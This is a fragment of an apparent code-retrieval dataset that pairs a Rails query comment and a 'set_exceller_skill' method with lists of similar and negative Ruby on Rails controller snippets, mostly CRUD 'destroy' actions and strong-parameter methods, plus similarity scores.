respond_to do |format|\n flash[:notice] = 'Skill deleted.'\n format.html { redirect_to(user_skills_path(current_user)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @skill.destroy\n respond_to do |format|\n format.html { redirect_to skill_categories_path, notice: 'Skill was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @skill_name.destroy\n respond_to do |format|\n format.html { redirect_to skill_names_url, notice: 'Skill name was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @crew_skill.destroy\n respond_to do |format|\n format.html { redirect_to crew_skills_url, notice: 'Crew skill was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @skillset.destroy\n respond_to do |format|\n format.html { redirect_to employees_url, notice: 'Skillset was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @issue_skill.destroy\n respond_to do |format|\n format.html { redirect_to issue_skills_url, notice: \"Issue skill was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @skill_level = SkillLevel.find(params[:id])\n @skill_level.destroy\n\n respond_to do |format|\n format.html { redirect_to(skill_levels_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @exhibition = Exhibition.find(params[:id])\n @exhibition.destroy\n\n respond_to do |format|\n format.html { redirect_to exhibitions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @opening_skill.destroy\n respond_to do |format|\n format.html { redirect_to opening_skills_url, notice: 'Opening skill was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @experience.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Experience was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @skills_user.destroy\n respond_to do |format|\n format.html { redirect_to skills_users_url, notice: 'Skills user was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @skill_assessment.destroy\n respond_to do |format|\n format.html { redirect_to skill_assessments_url, notice: 'Skill assessment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_work_skill.destroy\n respond_to do |format|\n format.html { redirect_to action:\"index\", :user_work_experience_role_id=> @user_work_skill.user_work_experience_role_id }\n format.json { head :no_content }\n end\n end", "def destroy\n @buildskill.destroy\n respond_to do |format|\n format.html { redirect_to buildskills_url, notice: 'Buildskill was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @projects_skill.destroy\n respond_to do |format|\n format.html { redirect_to projects_skills_url, notice: 'Projects skill was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @skill.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_skills_path, \n notice: 'Skill was successfully deleted.' }\n end\n end", "def destroy\n @experiencedetail = Experiencedetail.find(params[:id])\n @experiencedetail.destroy\n\n respond_to do |format|\n format.html { redirect_to experiencedetails_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @skillset.destroy\n respond_to do |format|\n format.html { redirect_to skillsets_url, notice: 'Skillset was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @culinary_skill.destroy\n respond_to do |format|\n format.html { redirect_to culinary_skills_url, notice: 'Culinary skill was successfully destroyed.' }\n format.json { head :no_content }\n format.js\n end\n end", "def destroy\n @experience.destroy\n respond_to do |format|\n format.html { redirect_to experiences_url, notice: 'Experience was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @experience.destroy\n respond_to do |format|\n format.html { redirect_to experiences_url, notice: 'Experience was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @experience.destroy\n respond_to do |format|\n format.html { redirect_to experiences_url, notice: 'Experience was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @experience.destroy\n respond_to do |format|\n format.html { redirect_to experiences_url, notice: 'Experience was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @crew_member_skill = CrewMemberSkill.find(params[:id])\n @crew_member_skill.destroy\n\n respond_to do |format|\n format.html { redirect_to crew_member_skills_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @areas_skill.destroy\n respond_to do |format|\n format.html { redirect_to areas_skills_url, notice: 'Areas skill was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @skill_catagory.destroy\n respond_to do |format|\n format.html { redirect_to skill_catagories_url, notice: 'Skill catagory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @skill_list.destroy\n respond_to do |format|\n format.html { redirect_to skill_lists_url, notice: 'Skill list was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @skill_inventory.destroy\n respond_to do |format|\n format.html { redirect_to skill_inventories_url, notice: 'Skill inventory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @my_exam = MyExam.find(params[:id])\n @my_exam.destroy\n\n respond_to do |format|\n format.html { redirect_to my_exams_url }\n format.json { head :no_content }\n end\n end", "def destroy\n\n authorize! :manage, @experience\n \n @experience.destroy\n respond_to do |format|\n format.html { redirect_to experiences_url, notice: 'Experience was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @mostsmallskillcategory = Mostsmallskillcategory.find(params[:id])\n @mostsmallskillcategory.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmallskillcategories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @health_professional = HealthProfessional.find(params[:id])\n @health_professional.destroy\n\n respond_to do |format|\n format.html { redirect_to health_professionals_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam = Exam.find(params[:id])\n @exam.destroy\n\n respond_to do |format|\n format.html { redirect_to exams_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tutorial_quest = Tutorial::Quest.find(params[:id])\n @tutorial_quest.destroy\n\n respond_to do |format|\n format.html { redirect_to tutorial_quests_url }\n format.json { head :ok }\n end\n end", "def destroy\n profileSkill = ProfileManager.find_by_skill_id(@skill.id)\n if profileSkill.destroy\n respond_to do |format|\n format.html { redirect_to skills_url, notice: 'Skill was successfully destroyed.' }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to root_path, :flash => { :error => \"Profile Skill was not deleted\" } }\n end\n end\n end", "def destroy\n @education_service_provided_typology.destroy\n respond_to do |format|\n format.html { redirect_to education_service_provided_typologies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reqdifficulty.destroy\n respond_to do |format|\n format.html { redirect_to reqdifficulties_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @computer_skill.destroy\n respond_to do |format|\n format.html { redirect_to user_computer_skills_path, notice: 'Computer skill was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove(skillName)\n\n end", "def destroy\n @skill_user_profile.destroy\n\n head :no_content\n end", "def destroy\n @skill_suggestion = SkillSuggestion.find(params[:id])\n @skill_suggestion.destroy\n\n respond_to do |format|\n format.html { redirect_to skill_suggestions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @function_experience = FunctionExperience.find(params[:id])\n @function_experience.destroy\n\n respond_to do |format|\n format.html { redirect_to function_experiences_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam.destroy\n respond_to do |format|\n format.html { redirect_to exams_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @skill_slot.destroy\n respond_to do |format|\n format.html { redirect_to skill_slots_url, notice: 'Skill slot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @completed_quest = CompletedQuest.find(params[:id])\n @completed_quest.destroy\n\n respond_to do |format|\n format.html { redirect_to completed_quests_url }\n format.json { head :ok }\n end\n end", "def destroy\n @thirtyfife.destroy\n respond_to do |format|\n format.html { redirect_to thirtyfives_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @introexam.destroy\n respond_to do |format|\n format.html { redirect_to introexams_url, notice: 'Introexam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @education_level = EducationLevel.find(params[:id])\n @education_level.destroy\n\n respond_to do |format|\n format.html { redirect_to education_levels_url, :notice => t('controllermessage.delete') }\n format.json { head :no_content }\n end\n end", "def destroy\n @vip_skill.destroy\n respond_to do |format|\n format.html { redirect_to(admin_vip_skills_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted a amx vip skill: #{@vip_skill.name}\")\n end", "def destroy\n @climber_education.destroy\n respond_to do |format|\n format.html { redirect_to climber_educations_url, notice: 'Climber education was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exosuit.destroy\n respond_to do |format|\n format.html { redirect_to exosuits_url, notice: 'Exosuit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @education_accomplishment.destroy\n respond_to do |format|\n format.html { redirect_to education_accomplishments_url, notice: 'Education accomplishment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @education_level.destroy\n respond_to do |format|\n format.html { redirect_to education_levels_url, notice: 'Education level was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @talent = Talent.find(params[:id])\n @talent.destroy\n\n respond_to do |format|\n format.html { redirect_to talents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @skill_tag = SkillTag.find(params[:id])\n @skill_tag.destroy\n\n respond_to do |format|\n format.html { redirect_to(skill_tags_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @three60.destroy\n respond_to do |format|\n format.html { redirect_to edit_admin_good_url(@good, anchor: \"three60\") }\n format.json { head :no_content }\n end\n end", "def destroy\n @quest = Quest.find(params[:id])\n @quest.destroy\n\n respond_to do |format|\n format.html { redirect_to quests_url }\n format.json { head :ok }\n end\n end", "def destroy\n @exprience = Exprience.find(params[:id])\n @exprience.destroy\n\n respond_to do |format|\n format.html { redirect_to expriences_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @talent = Talent.find(params[:id])\n @talent.destroy\n\n respond_to do |format|\n format.html { redirect_to talents_url }\n format.json { head :ok }\n end\n end", "def destroy\n @api_v1_exercise.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @first_exam.destroy\n respond_to do |format|\n format.html { redirect_to first_exams_url, notice: 'First exam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @random_exam.destroy\n respond_to do |format|\n format.html { redirect_to random_exams_url, notice: 'Random exam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @experience.destroy\n respond_to do |format|\n format.html { redirect_to experiences_url, notice: 'Experience was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @experience_history = ExperienceHistory.find(params[:id])\n @experience_history.destroy\n\n respond_to do |format|\n format.html { redirect_to experience_histories_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @learn = Learn.find(params[:id])\n @learn.destroy\n\n respond_to do |format|\n format.html { redirect_to learns_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @player_ball_skill.destroy\n respond_to do |format|\n format.html { redirect_to player_ball_skills_url, notice: 'Player ball skill was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.75828826", "0.73602176", "0.7347549", "0.72792685", "0.7237351", "0.72016656", "0.7165082", "0.70709085", "0.7067639", "0.70447236", "0.7030396", "0.7021501", "0.7008043", "0.6993563", "0.6986223", "0.696303", "0.6962978", "0.6951939", "0.6942127", "0.6935605", "0.69344234", "0.6933455", "0.69313455", "0.6929718", "0.69241565", "0.69172287", "0.6916883", "0.6909126", "0.6901381", "0.6883462", "0.68664277", "0.68515134", "0.6840844", "0.68362", "0.68326014", "0.6818679", "0.6808878", "0.68002933", "0.6797093", "0.67907304", "0.67843807", "0.6778593", "0.67730564", "0.6772346", "0.67381006", "0.6737747", "0.67340076", "0.67340076", "0.67340076", "0.67340076", "0.6732369", "0.6725674", "0.6713819", "0.67126423", "0.6708194", "0.67030555", "0.6702771", "0.66996115", "0.6689049", "0.66739786", "0.6667134", "0.66630244", "0.66628444", "0.6648687", "0.6640095", "0.6637888", "0.66036916", "0.65879065", "0.6586087", "0.6583138", "0.6581625", "0.65776604", "0.65682757", "0.6568051", "0.65671855", "0.6560315", "0.65451413", "0.65448266", "0.65427005", "0.6539813", "0.6533737", "0.6528796", "0.6527064", "0.6524591", "0.6523605", "0.6513484", "0.65122783", "0.6505392", "0.65044117", "0.65044117", "0.65044117", "0.65044117", "0.6504282", "0.65029156", "0.65008366", "0.6499905", "0.64998287", "0.64998287", "0.649726", "0.6493388" ]
0.74782115
1
Use callbacks to share common setup or constraints between actions.
def set_exceller_skill @exceller_skill = ExcellerSkill.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup_handler\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def before_dispatch(env); end", "def process_action(...)\n send_action(...)\n end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def action\n end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def config(action, *args); end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def before_action \n end", "def action\n end", "def setup\n # override this if needed\n end", "def matt_custom_action_begin(label); end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def setup_signals; end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def initialize(*args)\n super\n @action = :set\nend", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def lookup_action; end", "def around_hooks; end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def save_action; end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def action_target()\n \n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def setup(&blk)\n @setup_block = blk\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def callback_phase\n super\n end", "def advice\n end", "def call\n setup_context\n super\n end", "def _handle_action_missing(*args); end", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def duas1(action)\n action.call\n action.call\nend" ]
[ "0.6162554", "0.60452986", "0.5945278", "0.59169763", "0.58877826", "0.5834763", "0.5775349", "0.5704972", "0.5704972", "0.56543803", "0.5621491", "0.5427202", "0.54093206", "0.54093206", "0.54093206", "0.53975695", "0.53776276", "0.53562194", "0.5340594", "0.5337824", "0.5328757", "0.5310255", "0.5300339", "0.5298796", "0.5295774", "0.5256034", "0.5243039", "0.5236007", "0.5235239", "0.5235239", "0.5235239", "0.5235239", "0.5235239", "0.52321917", "0.5227032", "0.52216744", "0.5216349", "0.52161187", "0.5210265", "0.5207244", "0.5177388", "0.5177142", "0.51747334", "0.516293", "0.51629275", "0.5155534", "0.51540613", "0.515197", "0.5151636", "0.5145279", "0.51380795", "0.5135777", "0.5117378", "0.5115066", "0.5115066", "0.5110235", "0.5106418", "0.50917816", "0.50909185", "0.50855017", "0.5082105", "0.506359", "0.5055345", "0.50546116", "0.50523037", "0.50523037", "0.50327307", "0.5024364", "0.5021113", "0.50174654", "0.50163317", "0.5000553", "0.50002855", "0.49991882", "0.49905527", "0.49905527", "0.49849054", "0.4982546", "0.4980941", "0.4979153", "0.49693102", "0.4967172", "0.49594432", "0.49564302", "0.49552485", "0.49533385", "0.49506924", "0.49452737", "0.49442786", "0.49347955", "0.49341312", "0.49295264", "0.49261844", "0.4925649", "0.49251428", "0.4920729", "0.49177617", "0.4916373", "0.49158472", "0.4915794", "0.49156648" ]
0.0
-1
Only allow a list of trusted parameters through.
def exceller_skill_params params.require(:exceller_skill).permit(:exceller_id, :skill_id, :proficiency, :created_by, :modified_by, :deleted_at) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def param_whitelist\n [:role, :title]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def allow_params_authentication!; end", "def whitelisted_args\n args.select &:allowed\n end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def filtered_parameters; end", "def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def expected_permitted_parameter_names; end", "def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def param_whitelist\n [:rating, :review]\n end", "def check_params; true; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def allowed?(*_)\n true\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end", "def valid_params?; end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def url_allowlist=(_arg0); end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method 